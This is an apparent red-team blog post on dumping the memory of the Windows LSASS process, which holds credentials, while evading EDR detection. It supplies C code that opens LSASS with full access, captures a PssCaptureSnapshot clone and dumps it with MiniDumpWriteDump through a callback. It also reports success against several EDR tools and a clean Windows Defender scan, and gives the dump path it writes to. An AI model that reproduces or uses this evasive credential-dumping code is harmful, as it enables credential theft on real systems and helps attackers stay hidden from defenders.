Snapshot LSASS to evade EDR

As detection tools are beginning to detect the MiniDumpWriteDump function of the running LSASS process, the community is looking for ways of avoiding touching running LSASS.

Enter PssCaptureSnapshot

I’ve seen this technique posted around different places that will take a snapshot of the LSASS process, get a handle to that snapshot, then use the MiniDumpWriteDump function on the snapshot of LSASS. I have used this technique successfully against multiple EDR tools. This method can also be done through procdump with -r.

However, procdump is commonly detected by command-line indicators like -ma lsass and -accepteuala, which would still be required for this to run. After obtaining a handle to LSASS, which most EDRs do not care about, you will need the following callback function and code to create the snapshot of the LSASS process.

BOOL CALLBACK MDWDCallback(
	__in     PVOID CallbackParam,
	__in     const PMINIDUMP_CALLBACK_INPUT CallbackInput,
	__inout  PMINIDUMP_CALLBACK_OUTPUT CallbackOutput
)
{
	switch (CallbackInput->CallbackType)
	{
	case 16:
		CallbackOutput->Status = S_FALSE;
		break;
	}
	return TRUE;
}
	// Get handle to lsass
	HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, processID);

	// Set arguments and callbackinfo
	HANDLE snapshotHandle = NULL;
	DWORD args = (DWORD)PSS_CAPTURE_VA_CLONE | PSS_CAPTURE_HANDLES | PSS_CAPTURE_HANDLE_NAME_INFORMATION | PSS_CAPTURE_HANDLE_BASIC_INFORMATION | PSS_CAPTURE_HANDLE_TYPE_SPECIFIC_INFORMATION | PSS_CAPTURE_HANDLE_TRACE | PSS_CAPTURE_THREADS | PSS_CAPTURE_THREAD_CONTEXT | PSS_CAPTURE_THREAD_CONTEXT_EXTENDED | PSS_CREATE_BREAKAWAY | PSS_CREATE_BREAKAWAY_OPTIONAL | PSS_CREATE_USE_VM_ALLOCATIONS | PSS_CREATE_RELEASE_SECTION;
	MINIDUMP_CALLBACK_INFORMATION CallbackInfo;
	ZeroMemory(&CallbackInfo, sizeof(MINIDUMP_CALLBACK_INFORMATION));
	CallbackInfo.CallbackRoutine = &MDWDCallback;
	CallbackInfo.CallbackParam = NULL;

	// Capture the snapshot on lsass handle
	PssCaptureSnapshot(processHandle, (PSS_CAPTURE_FLAGS)args, CONTEXT_ALL, (HPSS*)& snapshotHandle);

    // Free the snapshot
	PssFreeSnapshot(GetCurrentProcess(), (HPSS)snapshotHandle);

Before freeing the snapshot, you’ll be able to call the MiniDumpWriteDump function on the snapshot to dump the running LSASS process memory. As a test, I ran a Windows Defender scan on the executable with no issues.

The current version I have written hardcodes the path to be output to C:\Windows\Temp\debug.dmp. I also compiled this version in Debug in Visual Studio so the command prompt remains after the executable has run. Below is the finished product.

The last note on this technique is that it only will work on specific versions of Windows and does not work on Windows 7. Below is according to Microsoft’s documentation.

https://docs.microsoft.com/en-us/windows/win32/api/processsnapshot/nf-processsnapshot-psscapturesnapshot

Leave a Reply

Your email address will not be published. Required fields are marked *